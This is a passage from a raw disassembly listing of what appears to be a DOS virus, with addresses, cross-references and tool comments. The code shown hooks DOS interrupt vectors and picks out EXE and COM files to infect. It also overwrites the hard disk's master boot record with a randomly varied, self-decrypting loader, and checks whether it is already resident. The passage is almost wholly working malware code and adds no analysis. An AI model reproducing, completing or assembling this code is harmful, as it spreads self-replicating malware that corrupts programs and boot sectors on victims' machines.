  2613. 10A7                    retn
  2614. 10A8    loc_154:                                        ;  xref 9804:10A5
  2615. 10A8                    sub     ax,1E6Ah
  2616. 10AB                    sbb     dx,0
  2617. 10AE                    push    ax
  2618. 10AF                    push    dx
  2619. 10B0                    mov     ah,3Fh                  ; '?'
  2620. 10B2                    mov     cx,80h
  2621. 10B5                    mov     dx,1E88h
  2622. 10B8                    call    sub_5                   ; (02C5)
  2623. 10BB                    jnc     loc_155                 ; Jump if carry=0
  2624. 10BD                    cmp     ax,24h
  2625. 10C0                    ja      loc_155                 ; Jump if above
  2626. 10C2                    add     sp,4
  2627. 10C5                    stc                             ; Set carry flag
  2628. 10C6                    retn
  2629. 10C7    loc_155:                                        ;  xref 9804:10BB, 10C0
  2630. 10C7                    push    bx
  2631. 10C8                    mov     di,ax
  2632. 10CA                    add     di,dx
  2633. 10CC                    mov     cx,32h
  2634. 10CF                    std                             ; Set direction flag
  2635. 10D0                    mov     al,2Eh                  ; '.'
  2636. 10D2                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  2637. 10D4                    or      cx,cx                   ; Zero ?
  2638. 10D6                    jnz     loc_156                 ; Jump if not zero
  2639. 10D8                    pop     bx
  2640. 10D9                    add     sp,4
  2641. 10DC                    stc                             ; Set carry flag
  2642. 10DD                    retn
  2643. 10DE    loc_156:                                        ;  xref 9804:10D6
  2644. 10DE                    mov     ah,[di+2]
  2645. 10E1                    xor     bx,bx                   ; Zero register
  2646. 10E3    loc_157:                                        ;  xref 9804:10EF
  2647. 10E3   ,                cmp     data_114[bx],ah         ; (9804:0FD2=30h)
  2648. 10E7                    je      loc_159                 ; Jump if equal
  2649. 10E9                    inc     bx
  2650. 10EA                    cmp     bx,4
  2651. 10ED                    ja      loc_158                 ; Jump if above
  2652. 10EF                    jmp     short loc_157           ; (10E3)
  2653. 10F1    loc_158:                                        ;  xref 9804:10ED
  2654. 10F1                    pop     bx
  2655. 10F2                    add     sp,4
  2656. 10F5                    stc                             ; Set carry flag
  2657. 10F6                    retn
  2658. 10F7    loc_159:                                        ;  xref 9804:10E7
  2659. 10F7                    mov     al,[di+3]
  2660. 10FA                    xor     bx,bx                   ; Zero register
  2661. 10FC    loc_160:                                        ;  xref 9804:1108
  2662. 10FC   ,                cmp     al,data_111[bx]         ; (9804:0FAE=7)
  2663. 1100                    je      loc_162                 ; Jump if equal
  2664. 1102                    inc     bx
  2665. 1103                    cmp     bx,19h
  2666. 1106                    ja      loc_161                 ; Jump if above
  2667. 1108                    jmp     short loc_160           ; (10FC)
  2668. 110A    loc_161:                                        ;  xref 9804:1106
  2669. 110A                    pop     bx
  2670. 110B                    add     sp,4
  2671. 110E                    stc                             ; Set carry flag
  2672. 110F                    retn
  2673. 1110    loc_162:                                        ;  xref 9804:1100
  2674. 1110                    and     bl,7
  2675. 1113                    mov     al,data_110[bx]         ; (9804:0FA6=0B0h)
  2676. 1117                    mov     cx,32h
  2677. 111A                    repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  2678. 111C                    or      cx,cx                   ; Zero ?
  2679. 111E                    jnz     loc_163                 ; Jump if not zero
  2680. 1120                    pop     bx
  2681. 1121                    add     sp,4
  2682. 1124                    stc                             ; Set carry flag
  2683. 1125                    retn
  2684. 1126    loc_163:                                        ;  xref 9804:111E
  2685. 1126                    mov     al,[di+2]
  2686. 1129                    cld                             ; Clear direction
  2687. 112A                    pop     bx
  2688. 112B                    pop     cx
  2689. 112C                    pop     dx
  2690. 112D                    push    dx
  2691. 112E                    push    cx
  2692. 112F                    push    ax
  2693. 1130                    mov     ax,4200h
  2694. 1133                    add     dx,16Bh
  2695. 1137                    adc     cx,0
  2696. 113A                    call    sub_5                   ; (02C5)
  2697. 113D                    mov     cx,0Fh
  2698. 1140                    mov     dx,1E88h
  2699. 1143                    mov     ah,3Fh                  ; '?'
  2700. 1145                    call    sub_5                   ; (02C5)
  2701. 1148                    pop     ax
  2702. 1149                    mov     byte ptr ds:[1154h],ah  ; (9804:1154=0)
  2703. 114D                    jmp     short $+2               ; delay for I/O
  2704. 114F                    mov     di,dx
  2705. 1151                    mov     cx,0Fh
  2706.  
  2707. 1154    locloop_164:                                    ;  xref 9804:1159
  2708. 1154                    add     [di],al
  2709. 1156                    not     byte ptr [di]
  2710. 1158                    inc     di
  2711. 1159                    loop    locloop_164             ; Loop if cx > 0
  2712.  
  2713. 115B                    mov     di,dx
  2714. 115D                    mov     ax,[di]
  2715. 115F                    mov     ds:data_166e,ax         ; (9804:1E7E=0)
  2716. 1162                    mov     ax,[di+2]
  2717. 1165                    mov     ds:data_168e,ax         ; (9804:1E80=0)
  2718. 1168                    mov     ax,[di+4]
  2719. 116B                    mov     ds:data_165e,ax         ; (9804:1E7A=0)
  2720. 116E                    mov     ax,[di+6]
  2721. 1171                    mov     ds:data_164e,ax         ; (9804:1E78=0)
  2722. 1174                    mov     ax,[di+8]
  2723. 1177                    mov     data_159,ax             ; (9804:1E6C=4E2Dh)
  2724. 117A                    mov     ax,[di+0Ah]
  2725. 117D                    mov     data_161,ax             ; (9804:1E6E=2417h)
  2726. 1180                    mov     ax,[di+0Ch]
  2727. 1183                    mov     data_51,ax              ; (9804:017E=61F7h)
  2728. 1186                    mov     al,[di+0Eh]
  2729. 1189                    cmp     al,1
  2730. 118B                    je      loc_165                 ; Jump if equal
  2731. 118D                    add     sp,4
  2732. 1190                    stc                             ; Set carry flag
  2733. 1191                    retn
  2734. 1192    loc_165:                                        ;  xref 9804:118B
  2735. 1192                    pop     cx
  2736. 1193                    pop     dx
  2737. 1194                    push    dx
  2738. 1195                    push    cx
  2739. 1196                    and     dx,1FFh
  2740. 119A                    cmp     data_159,dx             ; (9804:1E6C=4E2Dh)
  2741. 119E                    je      loc_166                 ; Jump if equal
  2742. 11A0                    add     sp,4
  2743. 11A3                    stc                             ; Set carry flag
  2744. 11A4                    retn
  2745. 11A5    loc_166:                                        ;  xref 9804:119E
  2746. 11A5                    xor     cx,cx                   ; Zero register
  2747. 11A7                    mov     dx,cx
  2748. 11A9                    mov     ax,4200h
  2749. 11AC                    call    sub_5                   ; (02C5)
  2750. 11AF                    mov     dx,1E6Ah
  2751. 11B2                    mov     cx,1Ch
  2752. 11B5                    mov     ah,40h                  ; '@'
  2753. 11B7                    call    sub_5                   ; (02C5)
  2754. 11BA                    pop     cx
  2755. 11BB                    pop     dx
  2756. 11BC                    mov     ax,4200h
  2757. 11BF                    call    sub_5                   ; (02C5)
  2758. 11C2                    mov     ah,40h                  ; '@'
  2759. 11C4                    xor     cx,cx                   ; Zero register
  2760. 11C6                    call    sub_5                   ; (02C5)
  2761. 11C9                    retn
  2762.         sub_41          endp
  2763.  
  2764.  
  2765.         ;==========================================================================
  2766.         ;                              SUBROUTINE
  2767.         ;
  2768.         ;         Called from:   9804:0431, 100D, 124B
  2769.         ;==========================================================================
  2770.  
  2771. 11CA    sub_42          proc    near
  2772. 11CA                    push    es
  2773. 11CB                    xor     ax,ax                   ; Zero register
  2774. 11CD                    mov     es,ax
  2775. 11CF                    mov     ax,es:data_12e          ; (0000:0090=155h)
  2776. 11D3                    mov     cs:data_120,ax          ; (9804:0FFA=178h)
  2777. 11D7                    mov     ax,es:data_13e          ; (0000:0092=1336h)
  2778. 11DB                    mov     cs:data_121,ax          ; (9804:0FFC=0A17h)
  2779. 11DF                    mov     ax,es:data_4e           ; (0000:006C=6EEh)
  2780. 11E3                    mov     cs:data_122,ax          ; (9804:0FFE=604h)
  2781. 11E7                    mov     ax,es:data_5e           ; (0000:006E=70h)
  2782. 11EB                    mov     cs:data_123,ax          ; (9804:1000=315h)
  2783. 11EF                    mov     es:data_13e,cs          ; (0000:0092=1336h)
  2784. 11F4                    mov     word ptr es:data_12e,1002h ; (0000:0090=155h)
  2785. 11FB                    mov     es:data_5e,cs           ; (0000:006E=70h)
  2786. 1200                    mov     word ptr es:data_4e,1004h ; (0000:006C=6EEh)
  2787. 1207                    pop     es
  2788. 1208                    retn
  2789.         sub_42          endp
  2790.  
  2791.  
  2792.         ;==========================================================================
  2793.         ;                              SUBROUTINE
  2794.         ;
  2795.         ;         Called from:   9804:04BA, 106F, 12B9
  2796.         ;==========================================================================
  2797.  
  2798. 1209    sub_43          proc    near
  2799. 1209                    push    ds
  2800. 120A                    push    es
  2801. 120B                    push    si
  2802. 120C                    xor     ax,ax                   ; Zero register
  2803. 120E                    cld                             ; Clear direction
  2804. 120F                    push    cs
  2805. 1210                    pop     ds
  2806. 1211                    mov     es,ax
  2807. 1213   ,                mov     si,offset data_120      ; (9804:0FFA=78h)
  2808. 1216   ,                mov     di,data_12e             ; (0000:0090=55h)
  2809. 1219                    movsw                           ; Mov [si] to es:[di]
  2810. 121A                    movsw                           ; Mov [si] to es:[di]
  2811. 121B   ,                mov     di,data_4e              ; (0000:006C=0EEh)
  2812. 121E                    movsw                           ; Mov [si] to es:[di]
  2813. 121F                    movsw                           ; Mov [si] to es:[di]
  2814. 1220                    pop     si
  2815. 1221                    pop     es
  2816. 1222                    pop     ds
  2817. 1223                    retn
  2818.         sub_43          endp
  2819.  
  2820.  
  2821.         ;==========================================================================
  2822.         ;                              SUBROUTINE
  2823.         ;
  2824.         ;         Called from:   9804:05E2
  2825.         ;==========================================================================
  2826.  
  2827. 1224    sub_44          proc    near
  2828. 1224    loc_167:                                        ;  xref 9804:122A
  2829. 1224                    call    sub_21                  ; (093A)
  2830. 1227                    and     ax,3
  2831. 122A                    jz      loc_167                 ; Jump if zero
  2832. 122C                    add     ax,ds:data_168e         ; (9804:1E80=0)
  2833. 1230                    mov     ds:data_164e,ax         ; (9804:1E78=0)
  2834. 1233                    call    sub_21                  ; (093A)
  2835. 1236                    and     ax,7
  2836. 1239                    add     ax,1F7Ah
  2837. 123C                    and     al,0FEh
  2838. 123E                    mov     ds:data_165e,ax         ; (9804:1E7A=0)
  2839. 1241                    retn
  2840.         sub_44          endp
  2841.  
  2842.  
  2843.         ;==========================================================================
  2844.         ;                              SUBROUTINE
  2845.         ;
  2846.         ;         Called from:   9804:03CF, 0416
  2847.         ;==========================================================================
  2848.  
  2849. 1242    sub_45          proc    near
  2850. 1242                    push    bx
  2851. 1243                    push    cx
  2852. 1244                    push    dx
  2853. 1245                    push    es
  2854. 1246                    push    ds
  2855. 1247                    push    di
  2856. 1248                    push    si
  2857. 1249                    pushf                           ; Push flags
  2858. 124A                    push    ax
  2859. 124B                    call    sub_42                  ; (11CA)
  2860. 124E                    test    cs:data_59,1            ; (9804:018C=4)
  2861. 1254                    jnz     loc_170                 ; Jump if not zero
  2862. 1256                    call    sub_10                  ; (0669)
  2863. 1259                    mov     ax,cs:data_51           ; (9804:017E=61F7h)
  2864. 125D                    and     al,1Fh
  2865. 125F                    cmp     al,11h
  2866. 1261                    je      loc_170                 ; Jump if equal
  2867. 1263                    call    sub_46                  ; (12C6)
  2868. 1266                    jc      loc_170                 ; Jump if carry Set
  2869. 1268                    xor     cx,cx                   ; Zero register
  2870. 126A                    mov     dx,cx
  2871. 126C                    mov     ax,4200h
  2872. 126F                    call    sub_5                   ; (02C5)
  2873. 1272                    jc      loc_170                 ; Jump if carry Set
  2874. 1274                    mov     ah,3Fh                  ; '?'
  2875. 1276                    mov     cx,1Ch
  2876. 1279                    push    cs
  2877. 127A                    pop     ds
  2878. 127B                    push    ds
  2879. 127C                    pop     es
  2880. 127D                    mov     dx,1E6Ah
  2881. 1280                    call    sub_5                   ; (02C5)
  2882. 1283                    jc      loc_170                 ; Jump if carry Set
  2883. 1285                    cmp     ax,cx
  2884. 1287                    jne     loc_170                 ; Jump if not equal
  2885. 1289                    mov     si,dx
  2886. 128B                    cld                             ; Clear direction
  2887. 128C                    lodsw                           ; String [si] to ax
  2888. 128D                    cmp     ax,5A4Dh
  2889. 1290                    je      loc_168                 ; Jump if equal
  2890. 1292                    cmp     ax,4D5Ah
  2891. 1295                    je      loc_168                 ; Jump if equal
  2892. 1297                    call    sub_9                   ; (05F1)
  2893. 129A                    jc      loc_170                 ; Jump if carry Set
  2894. 129C                    jmp     short loc_169           ; (12A3)
  2895. 129E    loc_168:                                        ;  xref 9804:1290, 1295
  2896. 129E                    call    sub_8                   ; (04EB)
  2897. 12A1                    jc      loc_170                 ; Jump if carry Set
  2898. 12A3    loc_169:                                        ;  xref 9804:129C
  2899. 12A3                    mov     ax,data_51              ; (9804:017E=61F7h)
  2900. 12A6                    and     al,0E0h
  2901. 12A8                    or      al,11h
  2902. 12AA                    mov     data_51,ax              ; (9804:017E=61F7h)
  2903. 12AD                    call    sub_11                  ; (067A)
  2904. 12B0    loc_170:                                        ;  xref 9804:1254, 1261, 1266, 1272
  2905.                                                         ;            1283, 1287, 129A, 12A1
  2906. 12B0                    pop     ax
  2907. 12B1                    popf                            ; Pop flags
  2908. 12B2                    mov     ah,3Eh                  ; '>'
  2909. 12B4                    call    sub_5                   ; (02C5)
  2910. 12B7                    push    ax
  2911. 12B8                    pushf                           ; Push flags
  2912. 12B9                    call    sub_43                  ; (1209)
  2913. 12BC                    popf                            ; Pop flags
  2914. 12BD                    pop     ax
  2915. 12BE                    pop     si
  2916. 12BF                    pop     di
  2917. 12C0                    pop     ds
  2918. 12C1                    pop     es
  2919. 12C2                    pop     dx
  2920. 12C3                    pop     cx
  2921. 12C4                    pop     bx
  2922. 12C5                    retn
  2923.         sub_45          endp
  2924.  
  2925.  
  2926.         ;==========================================================================
  2927.         ;                              SUBROUTINE
  2928.         ;
  2929.         ;         Called from:   9804:1263
  2930.         ;==========================================================================
  2931.  
  2932. 12C6    sub_46          proc    near
  2933. 12C6                    push    bx
  2934. 12C7                    mov     ax,1220h
  2935. 12CA                    int     2Fh                     ; DOS Internal services
  2936. 12CC                    jnc     loc_172                 ; Jump if carry=0
  2937. 12CE    loc_171:                                        ;  xref 9804:12D6
  2938. 12CE                    stc                             ; Set carry flag
  2939. 12CF                    jmp     short loc_181           ; (1344)
  2940. 12D1                    nop
  2941. 12D2    loc_172:                                        ;  xref 9804:12CC
  2942. 12D2                    cmp     byte ptr es:[di],0FFh
  2943. 12D6                    je      loc_171                 ; Jump if equal
  2944. 12D8                    xor     bx,bx                   ; Zero register
  2945. 12DA                    mov     bl,es:[di]
  2946. 12DD                    mov     ax,1216h
  2947. 12E0                    int     2Fh                     ; DOS Internal services
  2948. 12E2                    jc      loc_181                 ; Jump if carry Set
  2949. 12E4                    push    es
  2950. 12E5                    pop     ds
  2951. 12E6                    push    cs
  2952. 12E7                    pop     es
  2953. 12E8                    and     word ptr [di+2],0FFF8h
  2954. 12EC                    or      word ptr [di+2],2
  2955. 12F0                    add     di,20h
  2956. 12F3                    mov     si,di
  2957. 12F5                    cld                             ; Clear direction
  2958. 12F6                    push    si
  2959. 12F7   ,                mov     di,offset data_67       ; (9804:0748='LP.EXED.COME')
  2960. 12FA                    xor     bx,bx                   ; Zero register
  2961. 12FC                    mov     cx,8
  2962.  
  2963. 12FF    locloop_173:                                    ;  xref 9804:1306
  2964. 12FF                    lodsb                           ; String [si] to al
  2965. 1300                    cmp     al,20h                  ; ' '
  2966. 1302                    je      loc_174                 ; Jump if equal
  2967. 1304                    stosb                           ; Store al to es:[di]
  2968. 1305                    inc     bx
  2969. 1306                    loop    locloop_173             ; Loop if cx > 0
  2970.  
  2971. 1308    loc_174:                                        ;  xref 9804:1302
  2972. 1308                    mov     al,2Eh                  ; '.'
  2973. 130A                    stosb                           ; Store al to es:[di]
  2974. 130B                    inc     bx
  2975. 130C                    pop     si
  2976. 130D                    add     si,8
  2977. 1310                    mov     cx,3
  2978.  
  2979. 1313    locloop_175:                                    ;  xref 9804:131C
  2980. 1313                    lodsb                           ; String [si] to al
  2981. 1314                    cmp     al,20h                  ; ' '
  2982. 1316                    je      loc_176                 ; Jump if equal
  2983. 1318                    stosb                           ; Store al to es:[di]
  2984. 1319                    inc     bx
  2985. 131A                    inc     bh
  2986. 131C                    loop    locloop_175             ; Loop if cx > 0
  2987.  
  2988. 131E    loc_176:                                        ;  xref 9804:1316
  2989. 131E                    cmp     bh,3
  2990. 1321                    je      loc_178                 ; Jump if equal
  2991. 1323    loc_177:                                        ;  xref 9804:1332, 133D
  2992. 1323                    stc                             ; Set carry flag
  2993. 1324                    jmp     short loc_181           ; (1344)
  2994. 1326    loc_178:                                        ;  xref 9804:1321
  2995. 1326                    sub     si,3
  2996. 1329                    lodsw                           ; String [si] to ax
  2997. 132A                    cmp     ax,5845h
  2998. 132D                    je      loc_179                 ; Jump if equal
  2999. 132F                    cmp     ax,4F43h
  3000. 1332                    jne     loc_177                 ; Jump if not equal
  3001. 1334    loc_179:                                        ;  xref 9804:132D
  3002. 1334                    lodsb                           ; String [si] to al
  3003. 1335                    cmp     ax,5845h
  3004. 1338                    je      loc_180                 ; Jump if equal
  3005. 133A                    cmp     ax,4F4Dh
  3006. 133D                    jne     loc_177                 ; Jump if not equal
  3007. 133F    loc_180:                                        ;  xref 9804:1338
  3008. 133F                    mov     bh,0
  3009. 1341                    call    sub_14                  ; (06AB)
  3010. 1344    loc_181:                                        ;  xref 9804:12CF, 12E2, 1324
  3011. 1344                    pop     bx
  3012. 1345                    retn
  3013.         sub_46          endp
  3014.  
  3015.  
  3016.         ;==========================================================================
  3017.         ;                              SUBROUTINE
  3018.         ;
  3019.         ;         Called from:   9804:0510, 05FD
  3020.         ;==========================================================================
  3021.  
  3022. 1346    sub_47          proc    near
  3023. 1346                    test    data_59,4               ; (9804:018C=4)
  3024. 134B                    jz      loc_183                 ; Jump if zero
  3025. 134D                    cmp     data_48,0               ; (9804:0179=1)
  3026. 1352                    je      loc_182                 ; Jump if equal
  3027. 1354                    mov     ax,[si+0Eh]
  3028. 1357                    sub     ax,[si+16h]
  3029. 135A                    jz      loc_183                 ; Jump if zero
  3030. 135C                    sub     ax,3
  3031. 135F                    ja      loc_183                 ; Jump if above
  3032. 1361                    mov     ax,[si+14h]
  3033. 1364                    cmp     ax,1E6Ah
  3034. 1367                    jb      loc_183                 ; Jump if below
  3035. 1369                    cmp     ax,1EC4h
  3036. 136C                    ja      loc_183                 ; Jump if above
  3037. 136E                    stc                             ; Set carry flag
  3038. 136F                    retn
  3039. 1370    loc_182:                                        ;  xref 9804:1352
  3040. 1370                    cmp     byte ptr [si],0E9h
  3041. 1373                    jne     loc_183                 ; Jump if not equal
  3042. 1375                    stc                             ; Set carry flag
  3043. 1376                    retn
  3044. 1377    loc_183:                                        ;  xref 9804:134B, 135A, 135F, 1367
  3045.                                                         ;            136C, 1373
  3046. 1377                    clc                             ; Clear carry flag
  3047. 1378                    retn
  3048.         sub_47          endp
  3049.  
  3050.  
  3051.         ;==========================================================================
  3052.         ;                              SUBROUTINE
  3053.         ;
  3054.         ;         Called from:   9804:00B5, 180B, 1E29
  3055.         ;==========================================================================
  3056.  
  3057. 1379    sub_48          proc    near
  3058. 1379                    mov     ax,5445h
  3059. 137C                    int     13h                     ; ??int non-standard interrupt
  3060. 137E                    cmp     ax,4554h
  3061. 1381                    je      loc_184                 ; Jump if equal
  3062. 1383                    push    cs
  3063. 1384                    pop     es
  3064. 1385                    xor     ax,ax                   ; Zero register
  3065. 1387                    mov     ds,ax
  3066. 1389   ,                mov     si,data_2e              ; (0000:004C=74h)
  3067. 138C   ,                mov     di,1447h                ; (9804:1447=97h)
  3068. 138F                    cld                             ; Clear direction
  3069. 1390                    movsw                           ; Mov [si] to es:[di]
  3070. 1391                    movsw                           ; Mov [si] to es:[di]
  3071. 1392                    push    cs
  3072. 1393                    pop     ds
  3073. 1394                    mov     dx,80h
  3074. 1397                    mov     cx,1
  3075. 139A                    mov     ax,201h
  3076. 139D                    mov     bx,1E6Ah
  3077. 13A0                    call    sub_59                  ; (18A5)
  3078. 13A3                    jnc     loc_185                 ; Jump if carry=0
  3079. 13A5    loc_184:                                        ;  xref 9804:1381, 13B2, 13D0, 13E1
  3080. 13A5                    jmp     short loc_ret_187       ; (1408)
  3081. 13A7                    nop
  3082. 13A8    loc_185:                                        ;  xref 9804:13A3
  3083. 13A8                    mov     ax,ds:data_171e         ; (9804:1F6C=0)
  3084. 13AB                    sub     ax,ds:data_170e         ; (9804:1F6A=0)
  3085. 13AF                    cmp     ax,0CCFFh
  3086. 13B2                    je      loc_184                 ; Jump if equal
  3087. 13B4                    mov     ah,8
  3088. 13B6                    mov     dl,80h
  3089. 13B8                    call    sub_59                  ; (18A5)
  3090. 13BB                    mov     ax,310h
  3091. 13BE                    xor     bx,bx                   ; Zero register
  3092. 13C0                    inc     ch
  3093. 13C2                    mov     data_150,cx             ; (9804:1B11=3AFFh)
  3094. 13C6                    dec     dh
  3095. 13C8                    sub     cl,10h
  3096. 13CB                    mov     dl,80h
  3097. 13CD                    call    sub_59                  ; (18A5)
  3098. 13D0                    jc      loc_184                 ; Jump if carry Set
  3099. 13D2                    add     cl,10h
  3100. 13D5                    mov     bx,1E6Ah
  3101. 13D8                    mov     ax,301h
  3102. 13DB                    call    sub_53                  ; (163C)
  3103. 13DE                    call    sub_59                  ; (18A5)
  3104. 13E1                    jc      loc_184                 ; Jump if carry Set
  3105. 13E3                    cld                             ; Clear direction
  3106. 13E4                    mov     bl,1
  3107. 13E6                    call    sub_49                  ; (1462)
  3108. 13E9                    mov     dx,80h
  3109. 13EC                    mov     cx,1
  3110. 13EF                    mov     ax,301h
  3111. 13F2                    mov     bx,1E6Ah
  3112. 13F5                    test    data_59,80h             ; (9804:018C=4)
  3113. 13FA                    jz      loc_186                 ; Jump if zero
  3114. 13FC   ,                push    ax                      ; PARAMETER_4
  3115. 13FD                    push    bx                      ; PARAMETER_3
  3116. 13FE                    push    cx                      ; PARAMETER_2
  3117. 13FF                    push    dx                      ; PARAMETER_1
  3118. 1400                    call    sub_63                  ; (1945)
  3119. 1403                    jnc     loc_ret_187             ; Jump if carry=0
  3120. 1405    loc_186:                                        ;  xref 9804:13FA
  3121. 1405                    call    sub_64                  ; (19D7)
  3122.  
  3123. 1408    loc_ret_187:                                    ;  xref 9804:13A5, 1403
  3124. 1408                    retn
  3125.         sub_48          endp
  3126.  
  3127. 1409                    cli                             ; Disable interrupts
  3128. 140A                    xor     ax,ax                   ; Zero register
  3129. 140C                    mov     ss,ax
  3130. 140E                    mov     sp,7C00h
  3131. 1411                    mov     ds,ax
  3132. 1413                    mov     dl,0A9h
  3133. 1415                    mov     si,7C16h
  3134. 1418    loc_188:                                        ;  xref 9804:141D
  3135. 1418                    add     [si],dl
  3136. 141A                    inc     si
  3137. 141B                    inc     dl
  3138. 141D                    jle     loc_188                 ; Jump if < or =
  3139. 141F                    sti                             ; Enable interrupts
  3140. 1420                    int     12h                     ; Put (memory size)/1K in ax
  3141. 1422                    sub     ax,9
  3142. 1425                    mov     cl,6
  3143. 1427                    shl     ax,cl                   ; Shift w/zeros fill
  3144. 1429                    mov     es,ax
  3145. 142B                    mov     ah,8
  3146. 142D                    mov     dl,80h
  3147. 142F                    int     13h                     ; Disk  dl=drive 0  ah=func 08h
  3148.                                                         ;  get drive parameters, bl=type
  3149.                                                         ;   cx=cylinders, dh=max heads
  3150. 1431                    inc     ch
  3151. 1433                    dec     dh
  3152. 1435                    sub     cl,10h
  3153. 1438                    mov     dl,80h
  3154. 143A                    mov     ax,211h
  3155. 143D                    xor     bx,bx                   ; Zero register
  3156. 143F                    int     13h                     ; Disk  dl=drive 0  ah=func 02h
  3157.                                                         ;  read sectors to memory es:bx
  3158.                                                         ;   al=#,ch=cyl,cl=sectr,dh=head
  3159. 1441                    push    es
  3160. 1442                    mov     ax,144Bh
  3161. 1445                    push    ax
  3162. 1446                    retf                            ; Return far
  3163. 1447                    xchg    di,ax
  3164. 1448                    and     ax,0FD58h
  3165. 144B                    push    ds
  3166. 144C                    pop     es
  3167. 144D                    push    cs
  3168. 144E                    pop     ds
  3169. 144F   ,                mov     di,data_176e            ; (9804:7C00=0)
  3170. 1452                    push    es
  3171. 1453                    push    di
  3172. 1454   ,                mov     si,data_172e            ; (9804:2000=0)
  3173. 1457                    cld                             ; Clear direction
  3174. 1458                    mov     cx,200h
  3175. 145B                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  3176. 145D                    call    sub_56                  ; (16F1)
  3177. 1460                    sti                             ; Enable interrupts
  3178. 1461                    retf                            ; Return far
  3179.  
  3180.         ;==========================================================================
  3181.         ;                              SUBROUTINE
  3182.         ;
  3183.         ;         Called from:   9804:13E6, 1C84
  3184.         ;==========================================================================
  3185.  
  3186. 1462    sub_49          proc    near
  3187. 1462                    mov     word ptr ds:data_175e,0 ; (9804:20BA=0)
  3188. 1468                    push    bx
  3189. 1469                    cld                             ; Clear direction
  3190. 146A                    call    sub_19                  ; (08B6)
  3191. 146D                    mov     ah,data_102[bx]         ; (9804:0F7E=0BBh)
  3192. 1471                    mov     byte ptr ds:[1415h],ah  ; (9804:1415=0BEh)
  3193. 1475                    mov     ah,data_104[bx]         ; (9804:0F84=43h)
  3194. 1479                    mov     byte ptr ds:[141Ah],ah  ; (9804:141A=46h)
  3195. 147D                    mov     dl,bl
  3196. 147F                    add     bl,3
  3197. 1482                    cmp     bl,3
  3198. 1485                    jne     loc_189                 ; Jump if not equal
  3199. 1487                    sub     bl,2
  3200. 148A    loc_189:                                        ;  xref 9804:1485
  3201. 148A                    mov     byte ptr ds:[0F5Dh],bl  ; (9804:0F5D=64h)
  3202. 148E    loc_190:                                        ;  xref 9804:149D
  3203. 148E                    call    sub_21                  ; (093A)
  3204. 1491                    not     ax
  3205. 1493                    and     al,7
  3206. 1495                    mov     bl,al
  3207. 1497                    shr     al,1                    ; Shift w/zeros fill
  3208. 1499                    cmp     byte ptr ds:[0F5Dh],al  ; (9804:0F5D=64h)
  3209. 149D                    je      loc_190                 ; Jump if equal
  3210. 149F                    mov     data_95,bl              ; (9804:0F5E=6)
  3211. 14A3                    mov     ah,data_110[bx]         ; (9804:0FA6=0B0h)
  3212. 14A7                    mov     byte ptr ds:[1413h],ah  ; (9804:1413=0B2h)
  3213. 14AB                    mov     ah,data_115[bx]         ; (9804:0FD6=0C0h)
  3214. 14AF                    mov     byte ptr ds:[141Ch],ah  ; (9804:141C=0C2h)
  3215. 14B3                    shl     dl,1                    ; Shift w/zeros fill
  3216. 14B5                    shl     dl,1                    ; Shift w/zeros fill
  3217. 14B7                    shl     dl,1                    ; Shift w/zeros fill
  3218. 14B9                    add     bl,dl
  3219. 14BB                    mov     ah,data_111[bx]         ; (9804:0FAE=7)
  3220. 14BF                    mov     byte ptr ds:[1419h],ah  ; (9804:1419=14h)
  3221. 14C3                    call    sub_21                  ; (093A)
  3222. 14C6                    mov     bl,ah
  3223. 14C8                    and     bx,3
  3224. 14CB                    mov     ah,data_117[bx]         ; (9804:0FE6=75h)
  3225. 14CF                    mov     byte ptr ds:[141Dh],ah  ; (9804:141D=7Eh)
  3226. 14D3                    call    sub_19                  ; (08B6)
  3227. 14D6                    mov     al,data_114[bx]         ; (9804:0FD2=30h)
  3228. 14DA                    mov     ah,0E0h
  3229. 14DC                    mov     word ptr ds:[15A3h],ax  ; (9804:15A3=0E028h)
  3230. 14DF                    xor     bl,3
  3231. 14E2                    mov     al,data_114[bx]         ; (9804:0FD2=30h)
  3232. 14E6                    mov     byte ptr ds:[1418h],al  ; (9804:1418=0)
  3233. 14E9    loc_191:                                        ;  xref 9804:14F2
  3234. 14E9                    call    sub_21                  ; (093A)
  3235. 14EC                    or      ah,80h
  3236. 14EF                    cmp     ah,0D8h
  3237. 14F2                    jae     loc_191                 ; Jump if above or =
  3238. 14F4                    pop     bx
  3239. 14F5                    push    bx
  3240. 14F6                    push    ax
  3241. 14F7                    mov     bh,0
  3242. 14F9                    mov     byte ptr ds:[1414h],ah  ; (9804:1414=0A9h)
  3243. 14FD                    mov     si,1409h
  3244. 1500                    mov     di,1E6Ah
  3245. 1503                    mov     word ptr ds:[1416h],7C16h ; (9804:1416=7C16h)
  3246. 1509                    cmp     bl,2
  3247. 150C                    jne     loc_192                 ; Jump if not equal
  3248. 150E                    mov     di,1EA8h
  3249. 1511                    mov     word ptr ds:[1416h],7C54h ; (9804:1416=7C16h)
  3250. 1517    loc_192:                                        ;  xref 9804:150C
  3251. 1517                    call    sub_21                  ; (093A)
  3252. 151A                    and     ax,3
  3253. 151D                    xchg    bx,ax
  3254. 151E                    mov     al,data_119[bx]         ; (9804:0FF6=0C0h)
  3255. 1522                    mov     [si+2],al
  3256. 1525                    mov     al,0D0h
  3257. 1527                    add     al,bl
  3258. 1529                    mov     [si+4],al
  3259. 152C                    movsw                           ; Mov [si] to es:[di]
  3260. 152D                    movsw                           ; Mov [si] to es:[di]
  3261. 152E                    movsw                           ; Mov [si] to es:[di]
  3262. 152F                    movsw                           ; Mov [si] to es:[di]
  3263. 1530                    mov     dh,bl
  3264. 1532                    xor     cx,cx                   ; Zero register
  3265. 1534                    call    sub_50                  ; (15B9)
  3266. 1537                    call    sub_21                  ; (093A)
  3267. 153A                    or      ax,ax                   ; Zero ?
  3268. 153C                    jp      loc_193                 ; Jump if parity=1
  3269. 153E                    mov     ax,[si]
  3270. 1540                    add     si,2
  3271. 1543                    or      data_59,8               ; (9804:018C=4)
  3272. 1548                    movsw                           ; Mov [si] to es:[di]
  3273. 1549                    movsb                           ; Mov [si] to es:[di]
  3274. 154A                    stosw                           ; Store ax to es:[di]
  3275. 154B                    jmp     short loc_194           ; (1550)
  3276. 154D    loc_193:                                        ;  xref 9804:153C
  3277. 154D                    movsw                           ; Mov [si] to es:[di]
  3278. 154E                    movsw                           ; Mov [si] to es:[di]
  3279. 154F                    movsb                           ; Mov [si] to es:[di]
  3280. 1550    loc_194:                                        ;  xref 9804:154B
  3281. 1550                    call    sub_51                  ; (15FF)
